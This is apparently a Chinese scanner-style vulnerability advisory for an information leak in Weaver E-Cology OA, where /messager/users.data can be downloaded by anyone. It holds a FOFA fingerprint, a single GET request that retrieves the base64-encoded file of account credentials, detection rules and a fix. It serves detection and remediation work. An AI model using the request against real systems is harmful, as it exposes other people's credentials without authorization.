泛微OA E-Cology /messager/users.data 信息泄漏漏洞
泛微OA E-Cology /messager/users.data 信息泄漏漏洞
漏洞描述
泛微OA E-Cology users.data 允许任意用户下载，获取OA中的敏感信息如账号密码。
威胁等级: 高危
漏洞分类: 信息泄露
涉及厂商及产品：上海泛微网络科技股份有限公司:泛微e-Cology
应用指纹及检出思路
存在二次开发的可能
匹配源代码接口 存在关键字ecology 即可
fofa：app="泛微-协同办公OA"
icon: icon_hash="1578525679"
漏洞复现
GET /messager/users.data HTTP/1.1
Host:
base64 GBK解码
检测思路
状态码:200
对body体进行base64解码后匹配
contains(base64_decode(body),"") &&
contains(base64_decode(body),"")
修复建议
设置访问控制策略，禁用此接口